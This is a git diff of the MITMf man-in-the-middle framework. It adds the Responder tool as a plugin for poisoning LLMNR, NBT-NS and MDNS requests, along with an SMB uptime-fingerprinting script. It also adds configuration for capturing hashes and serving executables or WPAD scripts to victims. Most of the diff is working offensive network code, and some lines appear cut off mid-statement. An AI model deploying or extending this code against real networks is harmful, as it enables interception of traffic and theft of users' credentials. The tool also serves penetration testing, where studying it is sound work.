diff --git a/README.md b/README.md index 4994fd2..690edb8 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -MITMf V0.8 +MITMf V0.9 ========== Framework for Man-In-The-Middle attacks @@ -8,6 +8,7 @@ Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. Availible plugins: +- Responder - Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries - BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type - AppCachePoison - Perform app cache poison attacks diff --git a/libs/responder/CHANGELOG b/libs/responder/CHANGELOG index e6f27ad..24cf12b 100644 --- a/libs/responder/CHANGELOG +++ b/libs/responder/CHANGELOG @@ -1,4 +1,10 @@ -ChangeLog Responder 2.0.8: +ChangeLog Responder 2.1.4: +- Added: FindSMB2UPTime.py +- Added: FindSQLSrv.py +- Added: DontRespondTo and DontRespondToName options in Responder.conf +- Added: Lanman module +- Added: Analyze mode +- Added: SMBRelay - Removed: Old style options (On/Off). Just use -r instead of -r On. - Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only. - Added: In-scope llmnr/nbt-ns name option diff --git a/libs/responder/FindSMB2UPTime.py b/libs/responder/FindSMB2UPTime.py new file mode 100755 index 0000000..46346a4 --- /dev/null +++ b/libs/responder/FindSMB2UPTime.py @@ -0,0 +1,116 @@ +#! /usr/bin/env python +# NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2014 Trustwave Holdings, Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import datetime, struct +import sys,socket,struct +from socket import * +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def GetBootTime(data): + Filetime = int(struct.unpack('i", len(data)) + return Len + +class SMBHeader(Packet): + fields = OrderedDict([ + ("Proto", "\xff\x53\x4d\x42"), + ("Cmd", "\x72"), + ("Error-Code", "\x00\x00\x00\x00" ), + ("Flag1", "\x10"), + ("Flag2", "\x00\x00"), + ("Pidhigh", "\x00\x00"), + ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("Reserved", "\x00\x00"), + ("TID", "\x00\x00"), + ("PID", "\xff\xfe"), + ("UID", "\x00\x00"), + ("MID", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(". import re,sys,socket,struct,string from socket import * -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/FingerprintRelay.py b/libs/responder/FingerprintRelay.py index 7e41143..f9ec48f 100644 --- a/libs/responder/FingerprintRelay.py +++ b/libs/responder/FingerprintRelay.py @@ -17,7 +17,7 @@ # along with this program. If not, see . import re,socket,struct from socket import * -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/HTTPPackets.py b/libs/responder/HTTPPackets.py index a937c9b..17b6a57 100644 --- a/libs/responder/HTTPPackets.py +++ b/libs/responder/HTTPPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict from base64 import b64decode,b64encode class Packet(): diff --git a/libs/responder/HTTPProxy.py b/libs/responder/HTTPProxy.py index 232a3d7..2563841 100644 --- a/libs/responder/HTTPProxy.py +++ b/libs/responder/HTTPProxy.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict from base64 import b64decode,b64encode class Packet(): diff --git a/libs/responder/IMAPPackets.py b/libs/responder/IMAPPackets.py index f9076fa..51f13e8 100644 --- a/libs/responder/IMAPPackets.py +++ b/libs/responder/IMAPPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/Icmp-Redirect.py b/libs/responder/Icmp-Redirect.py index b0e1c4f..98e1355 100644 --- a/libs/responder/Icmp-Redirect.py +++ b/libs/responder/Icmp-Redirect.py @@ -17,7 +17,7 @@ # along with this program. If not, see . import sys,socket,struct,optparse,random,pipes from socket import * -from libs.responder.odict import OrderedDict +from odict import OrderedDict from random import randrange from time import sleep from subprocess import call diff --git a/libs/responder/LDAPPackets.py b/libs/responder/LDAPPackets.py index 429ca4a..7de4409 100644 --- a/libs/responder/LDAPPackets.py +++ b/libs/responder/LDAPPackets.py @@ -17,7 +17,7 @@ # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/RAPLANMANPackets.py b/libs/responder/RAPLANMANPackets.py index e44056e..c0fb385 100644 --- a/libs/responder/RAPLANMANPackets.py +++ b/libs/responder/RAPLANMANPackets.py @@ -1,5 +1,5 @@ import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict def longueur(payload): length = struct.pack(">i", len(''.join(payload))) diff --git a/libs/responder/RelayPackets.py b/libs/responder/RelayPackets.py index 72e8abb..08071fa 100644 --- a/libs/responder/RelayPackets.py +++ b/libs/responder/RelayPackets.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index b1b9ddb..6f617ef 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -16,38 +16,55 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys -import struct -import SocketServer -import re -import socket -import thread -import libs.responder.Fingerprint -import random -import os -import ConfigParser -import BaseHTTPServer -import select -import urlparse -import zlib -import string -import logging -import time -from OpenSSL import SSL +import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string, time from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer -from libs.responder.Fingerprint import RunSmbFinger, OsNameClientVersion -from libs.responder.odict import OrderedDict -from libs.responder.RAPLANMANPackets import * -from libs.responder.SMBPackets import * -from libs.responder.SQLPackets import * -from libs.responder.HTTPPackets import * -from libs.responder.HTTPProxy import * -from libs.responder.LDAPPackets import * -from libs.responder.SMTPPackets import * -from libs.responder.IMAPPackets import * +from Fingerprint import RunSmbFinger,OsNameClientVersion +from odict import OrderedDict from socket import inet_aton from random import randrange +VERSION = '2.1.2' + +#Config parsing +config = ConfigParser.ConfigParser() +config.read("./config/responder.conf") + +# Set some vars. +On_Off = config.get('Responder Core', 'HTTP').upper() +SSL_On_Off = config.get('Responder Core', 'HTTPS').upper() +SMB_On_Off = config.get('Responder Core', 'SMB').upper() +SQL_On_Off = config.get('Responder Core', 'SQL').upper() +FTP_On_Off = config.get('Responder Core', 'FTP').upper() +POP_On_Off = config.get('Responder Core', 'POP').upper() +IMAP_On_Off = config.get('Responder Core', 'IMAP').upper() +SMTP_On_Off = config.get('Responder Core', 'SMTP').upper() +LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() +DNS_On_Off = config.get('Responder Core', 'DNS').upper() +Krb_On_Off = config.get('Responder Core', 'Kerberos').upper() +NumChal = config.get('Responder Core', 'Challenge') +SessionLog = config.get('Responder Core', 'SessionLog') +Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() +Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper() +FILENAME = config.get('HTTP Server', 'Filename') +WPAD_Script = config.get('HTTP Server', 'WPADScript') +HTMLToServe = config.get('HTTP Server', 'HTMLToServe') +RespondTo = config.get('Responder Core', 'RespondTo').strip() +RespondTo.split(",") +RespondToName = config.get('Responder Core', 'RespondToName').strip() +RespondToName.split(",") +DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip() +DontRespondTo.split(",") +DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip() +DontRespondToName.split(",") + +if HTMLToServe == None: + HTMLToServe = '' + +if len(NumChal) is not 16: + print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" + parser.print_help() + exit(-1) + def IsOsX(): Os_version = sys.platform if Os_version == "darwin": @@ -70,6 +87,21 @@ def Analyze(AnalyzeMode): else: return False +#Logger +#CommandLine = str(sys.argv) +import logging +#logging.basicConfig(filename="./logs/" + SessionLog, level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') +#StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine) +#logging.warning(StartMessage) + +Log2Filename = "./logs/LLMNR-NBT-NS.log" +logger2 = logging.getLogger('LLMNR/NBT-NS') +logger2.addHandler(logging.FileHandler(Log2Filename,'a')) + +AnalyzeFilename = "./logs/Analyze-LLMNR-NBT-NS.log" +logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') +logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) + #Function used to write captured hashs to a file. def WriteData(outfile,data, user): if os.path.isfile(outfile) == False: @@ -120,6 +152,12 @@ def PrintLLMNRNBTNS(outfile,Message): else: return True + +# Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. +Challenge = "" +for i in range(0,len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") + #Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ @@ -395,6 +433,7 @@ class NB(BaseRequestHandler): ################################################################################## #Browser Listener and Lanman Finger ################################################################################## +from RAPLANMANPackets import * def WorkstationFingerPrint(data): Role = { @@ -566,6 +605,8 @@ class Browser(BaseRequestHandler): ################################################################################## #SMB Server ################################################################################## +from SMBPackets import * + #Detect if SMB auth was Anonymous def Is_Anonymous(data): SecBlobLen = struct.unpack(' 0: - time.sleep(0.1) + time.sleep(1) except KeyboardInterrupt: - exit() + exit() \ No newline at end of file diff --git a/libs/responder/SMBPackets.py b/libs/responder/SMBPackets.py index c7020eb..a1d3fcb 100644 --- a/libs/responder/SMBPackets.py +++ b/libs/responder/SMBPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/SMTPPackets.py b/libs/responder/SMTPPackets.py index 920c86f..65e252c 100644 --- a/libs/responder/SMTPPackets.py +++ b/libs/responder/SMTPPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/SQLPackets.py b/libs/responder/SQLPackets.py index d90286e..7219392 100644 --- a/libs/responder/SQLPackets.py +++ b/libs/responder/SQLPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from libs.responder.odict import OrderedDict +from odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/plugins/Inject.py b/plugins/Inject.py index 4460b3c..3d222b7 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,5 +1,3 @@ -#import os -#import subprocess import logging import time import re diff --git a/plugins/Responder.py b/plugins/Responder.py index 4a05376..be3cd09 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -1,14 +1,16 @@ from plugins.plugin import Plugin import logging import sys +import os logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * -from libs.responder.Responder import * +from scapy.all import get_if_addr +from libs.responder.Responder import start_responder +import threading class Responder(Plugin): name = "Responder" optname = "responder" - desc = "" + desc = "Poison LLMNR, NBT-NS and MDNS requests" has_opts = True def initialize(self, options): @@ -27,7 +29,11 @@ class Responder(Plugin): except Exception, e: sys.exit("[-] Error retrieving interface IP address: %s" % e) - start_responder(options, self.ip_address) + print "[*] Responder plugin online" + + t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address)) + t.setDaemon(True) + t.start() def add_options(self, options): options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning")